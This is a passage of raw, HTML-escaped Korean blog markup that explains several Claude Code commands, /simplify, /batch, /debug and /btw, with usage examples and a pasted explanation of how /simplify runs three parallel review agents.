      &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1270&quot; data-origin-height=&quot;950&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GKKhZ/dJMcafeL9LN/Np5UPVeO8scoCWr7Q78qL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GKKhZ/dJMcafeL9LN/Np5UPVeO8scoCWr7Q78qL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GKKhZ/dJMcafeL9LN/Np5UPVeO8scoCWr7Q78qL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGKKhZ%2FdJMcafeL9LN%2FNp5UPVeO8scoCWr7Q78qL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1270&quot; height=&quot;950&quot; data-origin-width=&quot;1270&quot; data-origin-height=&quot;950&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;br /&gt;
      &lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;동작 원리를 클로드 코드에게 직접 설명해달라고 한 내용도 첨부&lt;/p&gt;
      &lt;pre id=&quot;code_1773219371077&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;❯ simplify 기본 명령어에 대한 리뷰를 하려고 하는데 어떤 작업들을 어떤 원리에 의해서 어떤 사고과정을 통해서 무엇을으로 진행 했고 결과에 대해서도 리뷰해줘                           

⏺ /simplify 명령어 리뷰

  명령어 구조 개요

  /simplify는 3단계로 구성된 코드 품질 검증 파이프라인입니다.

  ---
  Phase 1: 변경사항 식별

  git diff HEAD --stat  &amp;rarr;  변경된 파일 목록 확인
  git log --oneline -5  &amp;rarr;  최근 커밋 파악
  git diff HEAD~1 HEAD  &amp;rarr;  마지막 커밋의 전체 diff 추출

  원리: 현재 작업 중인 코드가 아니라 &quot;실제로 변경된 코드&quot;에만 집중합니다. 전체 코드베이스를 리뷰하는 것은 비효율적이기 때문에, git diff로 스코프를 좁혀 신호 대 잡음 비율을
  높입니다.

  이번 실행에서는 마지막 커밋(Footer 추가, About 페이지, FAQ 확장 등 10개 파일, +480줄)이 대상이었습니다.

  ---
  Phase 2: 3개 에이전트 병렬 실행

  핵심은 단일 에이전트가 아닌 3개를 동시에 실행한다는 점입니다. 각 에이전트는 서로 다른 렌즈로 같은 코드를 봅니다.

  Agent 1: Code Reuse (코드 재사용)

  사고 원리: &quot;이 코드를 새로 작성했는데, 이미 존재하는 무언가로 대체할 수 있는가?&quot;

  검사 항목:
  - 새로 작성한 함수가 기존 함수와 중복되는가
  - 인라인 로직을 기존 유틸리티로 대체할 수 있는가
  - 상수/열거형이 있는데 raw string을 쓰고 있는가

  이번 발견: Footer.tsx가 /json, /diff 등 12개 경로를 하드코딩 &amp;rarr; ROUTES 상수가 이미 존재함

  Agent 2: Code Quality (코드 품질)

  사고 원리: &quot;코드가 해키하거나 유지보수하기 어려운 패턴을 따르는가?&quot;

  검사 항목:
  - 불필요한 상태 중복
  - 파라미터 남발
  - Copy-paste with slight variation (약간만 다른 복붙)
  - 추상화 경계 위반
  - Stringly-typed code (상수가 있는데 문자열 직접 사용)
  - 불필요한 JSX 래퍼

  이번 발견:
  - Footer.tsx의 hardcoded routes (Stringly-typed 패턴)
  - tarot/page.tsx의 &amp;lt;&amp;gt; fragment &amp;mdash; 품질 에이전트는 &quot;불필요&quot;라고 판단했지만 이후 false positive로 확인됨

  Agent 3: Efficiency (효율성)

  사고 원리: &quot;불필요한 연산, 놓친 동시성, 메모리 누수가 있는가?&quot;

  검사 항목:
  - 핫패스에서의 반복 연산
  - 순차 실행할 수 있는 것을 직렬로 실행
  - 파일/리소스 불필요 전체 읽기
  - 조건 없이 매 렌더마다 실행되는 업데이트

  이번 발견: 이슈 없음 &amp;mdash; 모든 파일이 Server Component여서 렌더당 연산 비용이 문제가 되지 않음. getAllPosts() await 제거도 올바른 수정으로 확인.

  ---
  Phase 3: 결과 종합 및 수정

  3개 에이전트 결과를 병합 후 false positive 판별이 중요합니다.

  수정한 것

  ┌─────────────────────┬────────────┬───────────────────────────┐
  │        이슈         │    파일    │         수정 내용         │
  ├─────────────────────┼────────────┼───────────────────────────┤
  │ ROUTES.HUB 누락     │ routes.ts  │ /hub 상수 추가            │
  ├─────────────────────┼────────────┼───────────────────────────┤
  │ 12개 hardcoded 경로 │ Footer.tsx │ 전부 ROUTES.* 상수로 교체 │
  └─────────────────────┴────────────┴───────────────────────────┘

  수정하지 않은 것 (false positive)

  ┌────────────────────────────────┬───────────────────┬──────────────────────────────────────────┐
  │         에이전트 발견          │       판단        │                   이유                   │
  ├────────────────────────────────┼───────────────────┼──────────────────────────────────────────┤
  │ Tarot &amp;lt;&amp;gt; fragment 불필요       │ ❌ False positive │ 3개 sibling element이므로 fragment 필수  │
  ├────────────────────────────────┼───────────────────┼──────────────────────────────────────────┤
  │ 스키마 생성을 함수 본문 안에서 │ ❌ False positive │ Server Component는 렌더당 비용 무시 가능 │
  ├────────────────────────────────┼───────────────────┼──────────────────────────────────────────┤
  │ 인라인 교육 섹션               │ ❌ Skip           │ 단일 사용 콘텐츠, 추상화 불필요          │
  └────────────────────────────────┴───────────────────┴──────────────────────────────────────────┘

  ---
  이번 결과의 품질 평가

  잘 작동한 부분:
  - 병렬 실행으로 단일 에이전트 대비 3배 빠른 분석
  - Efficiency 에이전트가 Server Component 맥락을 정확히 파악해 false positive를 미리 걸러냄
  - 실제 버그성 이슈(ROUTES 상수 미사용)를 정확히 포착

  한계:
  - Quality 에이전트가 &amp;lt;&amp;gt; fragment를 잘못 판단 &amp;mdash; 문법 레벨 검증이 약함
  - &quot;스키마 생성 보일러플레이트 중복&quot; 이슈는 사실이지만 현재 4개 페이지 수준에서는 과도한 추상화가 될 수 있어 skip했는데, 향후 더 많은 페이지가 생기면 의미 있는 리팩토링이 될 수
  있음

  핵심 원칙 요약: 찾아낸 모든 이슈를 무조건 수정하지 않고, false positive를 식별하고 &quot;지금 수정할 가치가 있는가&quot;를 판단하는 것이 이 명령어의 핵심입니다.&lt;/code&gt;&lt;/pre&gt;
      &lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
    &lt;/div&gt;
    &lt;div
      style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px; margin-bottom: 12px;&quot;&gt;
      &lt;b&gt;시나리오 2: 특정 관점에만 집중&lt;/b&gt;
      &lt;p style=&quot;margin: 8px 0 10px 0; font-size: 14px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;데이터 처리 로직에서 메모리 효율이 걱정된다. 그
        관점만 집중해서 검토받고 싶다.&lt;/p&gt;
      &lt;div
        style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin-bottom: 10px;&quot;&gt;
        &lt;pre class=&quot;elixir&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ /simplify 메모리 효율 최적화에 집중해줘&lt;/code&gt;&lt;/pre&gt;
      &lt;/div&gt;
      &lt;p style=&quot;margin: 0; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;자유 텍스트 인수를 전달하면 3개 에이전트가 모두 해당 관점을 우선해
        분석 방향을 조정한다.&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;!-- /batch --&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; border: 2px solid #b3d9ff; border-bottom: none; border-radius: 10px 10px 0 0; padding: 12px 20px; margin-bottom: 0;&quot;&gt;
    &lt;code style=&quot;font-size: 20px; font-weight: bold; color: #0066cc;&quot;&gt;/batch &amp;lt;instruction&amp;gt;&lt;/code&gt; &lt;span
      style=&quot;margin-left: 10px; font-size: 14px; color: #555;&quot;&gt;&amp;mdash; 대규모 병렬 리팩토링&lt;/span&gt;&lt;/div&gt;
  &lt;div
    style=&quot;border: 2px solid #b3d9ff; border-top: none; border-radius: 0 0 10px 10px; padding: 20px; margin-bottom: 25px;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;코드베이스(프로젝트 전체 소스 코드 모음) 전체에 걸친 대규모 변경&lt;/b&gt;을 병렬로 조율한다. 변경 내용을
      설명하면 &lt;code&gt;/batch&lt;/code&gt;가 코드베이스를 분석해 5~30개의 독립적인 작업 단위로 분해하고, 각 단위를 &lt;b&gt;별도의 git worktree(같은 저장소를 여러 폴더에서 동시에 독립적으로
        작업하는 git 기능)에서 격리된 에이전트&lt;/b&gt;가 담당한다.&lt;/p&gt;
    &lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 15px 0 10px;&quot; data-ke-size=&quot;size20&quot;&gt;동작 흐름&lt;/h4&gt;
    &lt;div
      style=&quot;background-color: #f0f4f8; padding: 18px; border-radius: 8px; border: 1px solid #d0d7de; margin-bottom: 15px;&quot;&gt;
      &lt;pre class=&quot;angelscript&quot;
        style=&quot;margin: 0; font-family: 'Fira Code', monospace; font-size: 14px; line-height: 1.8;&quot;&gt;&lt;code&gt;/batch &quot;migrate src/ from Solid to React&quot;
│
├── 1. 코드베이스 분석
├── 2. 5~30개 작업 단위 분해
├── 3. 계획 제시 (사용자 승인 필요)
└── 4. (승인 후)
├── 에이전트 A: worktree-1에서 unit-1 구현 + 테스트 + PR ─┐
├── 에이전트 B: worktree-2에서 unit-2 구현 + 테스트 + PR ──┤ (병렬)
└── 에이전트 C: worktree-3에서 unit-3 구현 + 테스트 + PR ──┘&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 15px 0 10px;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 15px 0 10px;&quot; data-ke-size=&quot;size20&quot;&gt;사용 예시&lt;/h4&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; font-family: 'Fira Code', monospace; font-size: 14px; margin-bottom: 12px;&quot;&gt;
      &lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/batch migrate src/ from Solid to React
/batch add error handling to all API calls in src/api/
/batch convert all class components to functional components
/batch add TypeScript types to all JavaScript files in lib/&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;div
      style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; border-radius: 0 8px 8px 0; margin-bottom: 10px;&quot;&gt;
      &lt;b&gt; 주의사항&lt;/b&gt;
      &lt;ul style=&quot;margin: 8px 0 0 18px; padding: 0; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
        &lt;li&gt;&lt;code&gt;/batch&lt;/code&gt;는 &lt;b&gt;git 저장소&lt;/b&gt;가 필요하다. worktree 기반으로 작동하기 때문이다.&lt;/li&gt;
        &lt;li&gt;각 에이전트는 작업 후 PR 생성을 시도한다. (&lt;code&gt;gh&lt;/code&gt; CLI가 설치&amp;middot;인증된 환경 필요 / gh는 터미널에서 GitHub를 조작하는 공식 명령줄 도구)&lt;/li&gt;
        &lt;li&gt;&lt;b&gt;다수의 에이전트가 동시에 실행&lt;/b&gt;되므로 토큰 사용량이 크게 증가할 수 있다. 사용 플랜(Pro/Team/Enterprise)의 한도를 미리 확인하라.&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/div&gt;
    &lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; border-radius: 0 8px 8px 0;&quot;&gt;
      &lt;b&gt; 언제 쓰면 좋을까?&lt;/b&gt; 프레임워크 마이그레이션, 전사적 코드 스타일 변경, 대규모 리팩토링처럼 수십 개 파일을 동시에 바꿔야 할 때.&lt;/div&gt;
    &lt;h4
      style=&quot;font-size: 16px; color: #1a3a52; margin: 22px 0 12px; border-left: 4px solid #0066cc; padding-left: 10px;&quot;
      data-ke-size=&quot;size20&quot;&gt;활용 시나리오&lt;/h4&gt;
    &lt;div
      style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px; margin-bottom: 15px;&quot;&gt;
      &lt;b&gt;시나리오 1: 전체 프로젝트 TypeScript 마이그레이션&lt;/b&gt;
      &lt;p style=&quot;margin: 8px 0 10px 0; font-size: 14px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;src/&lt;/code&gt; 내 JS 파일
        30개에 TypeScript(JavaScript에 타입 명시를 추가한 언어. 예: &lt;code&gt;count: number&lt;/code&gt; 처럼 변수 종류를 미리 선언) 타입을 추가해야 한다. 파일 하나씩 하면
        며칠이 걸린다.&lt;/p&gt;
      &lt;div
        style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin-bottom: 10px;&quot;&gt;
        &lt;pre class=&quot;pgsql&quot;
          style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ /batch add TypeScript types to all .js files in src/&lt;/code&gt;&lt;/pre&gt;
      &lt;/div&gt;
      &lt;ol style=&quot;margin: 6px 0 0 18px; font-size: 13px; color: #555; line-height: 1.9;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
        &lt;li&gt;Claude가 코드베이스를 분석 &amp;rarr; 작업 단위(src/utils, src/api, src/components/... 등)로 분해&lt;/li&gt;
        &lt;li&gt;&lt;b&gt;계획 제시 &amp;rarr; 사용자 승인 대기&lt;/b&gt;. &quot;이 계획으로 진행할까요?&quot; 확인 단계가 있다&lt;/li&gt;
        &lt;li&gt;승인 후 각 단위별 에이전트가 별도 worktree에서 동시 작업 &amp;rarr; 각자 PR 생성&lt;/li&gt;
      &lt;/ol&gt;
    &lt;/div&gt;
    &lt;div
      style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px; margin-bottom: 12px;&quot;&gt;
      &lt;b&gt;시나리오 2: async 함수(비동기 처리 함수 - 서버 응답을 기다리는 동안 다른 작업도 계속하는 함수) 전체에 에러 핸들링 일괄 추가&lt;/b&gt;
      &lt;p style=&quot;margin: 8px 0 10px 0; font-size: 14px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;src/api/&lt;/code&gt; 내 async
        함수들이 try-catch(오류가 발생해도 프로그램이 중단되지 않도록 처리하는 코드 구조) 없이 작성되어 있다. 전부 한 번에 수정하고 싶다.&lt;/p&gt;
      &lt;div
        style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin-bottom: 10px;&quot;&gt;
        &lt;pre class=&quot;routeros&quot;
          style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ /batch add try-catch error handling to all async functions in src/api/&lt;/code&gt;&lt;/pre&gt;
      &lt;/div&gt;
      &lt;ul style=&quot;margin: 6px 0 0 18px; font-size: 13px; color: #555; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
        &lt;li&gt;범위를 &lt;code&gt;src/api/&lt;/code&gt;로 한정하면 작업 단위가 작아져 더 빠르고 정확하게 처리된다&lt;/li&gt;
        &lt;li&gt;각 에이전트가 담당 파일을 수정 후 PR을 생성하므로, 리뷰도 파일 단위로 할 수 있다&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;!-- /debug --&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; border: 2px solid #b3d9ff; border-bottom: none; border-radius: 10px 10px 0 0; padding: 12px 20px; margin-bottom: 0;&quot;&gt;
    &lt;code style=&quot;font-size: 20px; font-weight: bold; color: #0066cc;&quot;&gt;/debug [description]&lt;/code&gt; &lt;span
      style=&quot;margin-left: 10px; font-size: 14px; color: #555;&quot;&gt;&amp;mdash; 세션 디버거&lt;/span&gt;&lt;/div&gt;
  &lt;div
    style=&quot;border: 2px solid #b3d9ff; border-top: none; border-radius: 0 0 10px 10px; padding: 20px; margin-bottom: 25px;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size16&quot;&gt;현재 Claude Code 세션(현재 실행 중인 Claude Code 작업 단위)의 &lt;b&gt;디버그 로그(문제 파악을
        위해 자동으로 기록된 실행 과정 기록)&lt;/b&gt;를 읽어 문제를 분석한다. Claude가 왜 이상하게 동작하는지, 어떤 도구 호출이 실패했는지 파악하고 싶을 때 사용한다.&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; font-family: 'Fira Code', monospace; font-size: 14px; margin-bottom: 12px;&quot;&gt;
      &lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;// 전체 세션 로그 분석&lt;/div&gt;
      &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/debug&lt;/code&gt;&lt;/pre&gt;
      &lt;br /&gt;
      &lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;// 특정 문제에 집중해서 분석&lt;/div&gt;
      &lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/debug Claude가 파일 쓰기를 계속 거부함
/debug tool call keeps failing on Read&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;h4
      style=&quot;font-size: 16px; color: #1a3a52; margin: 22px 0 12px; border-left: 4px solid #0066cc; padding-left: 10px;&quot;
      data-ke-size=&quot;size20&quot;&gt;활용 시나리오&lt;/h4&gt;
    &lt;div
      style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px; margin-bottom: 15px;&quot;&gt;
      &lt;b&gt;시나리오 1: 도구 호출이 반복 실패할 때&lt;/b&gt;
      &lt;p style=&quot;margin: 8px 0 10px 0; font-size: 14px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 특정 파일을 계속 읽지 못하거나 같은
        오류를 반복한다. 어느 시점부터 무슨 이유로 실패하는지 파악이 안 된다.&lt;/p&gt;
      &lt;div
        style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin-bottom: 10px;&quot;&gt;
        &lt;pre class=&quot;routeros&quot;
          style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ /debug Read tool keeps returning empty on config.json&lt;/code&gt;&lt;/pre&gt;
      &lt;/div&gt;
      &lt;p style=&quot;margin: 0; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;세션 디버그 로그를 읽어 도구 호출 실패 시점과 원인을 진단한다. 파일
        권한 문제인지, 경로 오류인지 구체적으로 알려준다.&lt;br /&gt;&lt;br /&gt;ex) /debug&amp;nbsp;&lt;/p&gt;
      &lt;p style=&quot;margin: 0; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 이 예시는 원하는 상황까진 아니지만 여러 상황에 활용해볼
        수 있을 것 같다. ( 이후 다른 예시로 갱신하도록 하겠습니다. )&lt;/p&gt;
      &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1384&quot; data-origin-height=&quot;172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWMIOV/dJMcagxVBx9/zQ8v99UQDWitVLwKwlkQuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWMIOV/dJMcagxVBx9/zQ8v99UQDWitVLwKwlkQuK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWMIOV/dJMcagxVBx9/zQ8v99UQDWitVLwKwlkQuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWMIOV%2FdJMcagxVBx9%2FzQ8v99UQDWitVLwKwlkQuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1384&quot; height=&quot;172&quot; data-origin-width=&quot;1384&quot; data-origin-height=&quot;172&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJN0qX/dJMcaiWNoj3/nwW0Ai2u72sL654b8pVkj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJN0qX/dJMcaiWNoj3/nwW0Ai2u72sL654b8pVkj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJN0qX/dJMcaiWNoj3/nwW0Ai2u72sL654b8pVkj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJN0qX%2FdJMcaiWNoj3%2FnwW0Ai2u72sL654b8pVkj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;844&quot; height=&quot;184&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

    &lt;/div&gt;
    &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px; margin-bottom: 12px;&quot;&gt;
      &lt;b&gt;시나리오 2: 응답이 갑자기 이상해졌을 때&lt;/b&gt;
      &lt;p style=&quot;margin: 8px 0 10px 0; font-size: 14px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;작업 도중 Claude가 요청과 무관한 파일을
        수정하거나 뜬금없는 동작을 한다. 원인을 모르겠다.&lt;/p&gt;
      &lt;div
        style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin-bottom: 10px;&quot;&gt;
        &lt;pre class=&quot;d&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ /debug&lt;/code&gt;&lt;/pre&gt;
      &lt;/div&gt;
      &lt;p style=&quot;margin: 0; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;설명 없이 실행하면 현재 세션 전체를 분석해 가장 최근의 이상 동작
        원인을 진단한다.&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt; Bundled Skills의 특이점: 개발자 플랫폼 스킬&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에는 &lt;b&gt;개발자 플랫폼 스킬(Anthropic SDK 전용)&lt;/b&gt;도 내장되어 있다.
      Python/TypeScript 코드에서 &lt;code&gt;anthropic&lt;/code&gt; 또는 &lt;code&gt;@anthropic-ai/sdk&lt;/code&gt; 패키지 임포트가 감지되면 자동으로 활성화된다. 별도로 호출할
      필요 없다. (출처: &lt;a href=&quot;https://code.claude.com/docs/en/skills#bundled-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude
        Code 공식 문서&lt;/a&gt;)&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- ===== 보너스 섹션 ===== --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;보너스: /btw &amp;mdash; 작업 중 사이드 질문&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/btw&lt;/code&gt;는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;현재 작업을 중단하지
        않고 단발성 사이드 질문을 던질 수 있는 빌트인 커맨드&lt;/b&gt;&lt;/span&gt;다. 응답은 대화 히스토리에 추가되지 않기 때문에, 메인 작업 흐름에 영향을 주지 않는다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a
      href=&quot;https://code.claude.com/docs/en/interactive-mode#side-questions-with-btw&quot; target=&quot;_blank&quot;
      rel=&quot;noopener&quot;&gt;Claude Code 공식 Interactive Mode 문서&lt;/a&gt;)&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;동작 방식&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; width: 35%;&quot;&gt;특성&lt;/th&gt;
        &lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;대화 히스토리 미추가&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;질문과 답변이 메인 대화 기록에 포함되지 않는다. 다음 응답에 영향을 주지 않는다.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;작업 중 사용 가능&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;Claude가 &lt;b&gt;응답을 생성하는 도중에도&lt;/b&gt; 실행 가능하다. 사이드 질문은 독립적으로
          처리되며 메인 작업을 중단시키지 않는다.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;도구 접근 없음&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;파일 읽기&amp;middot;쓰기 등 도구 호출 없이 순수 텍스트 응답만 반환한다.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;단발성 응답 (오버레이)&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;답변이 &lt;b&gt;dismissible 오버레이&lt;/b&gt;로 표시된다. 연속 대화는 불가.
          &lt;kbd&gt;Space&lt;/kbd&gt;&amp;middot;&lt;kbd&gt;Enter&lt;/kbd&gt;&amp;middot;&lt;kbd&gt;Esc&lt;/kbd&gt;로 닫고 메인 작업으로 복귀.&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사용 방법&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; font-family: 'Fira Code', monospace; font-size: 14px; margin-bottom: 12px;&quot;&gt;
    &lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;// 작업 중 궁금한 것을 빠르게 확인&lt;/div&gt;
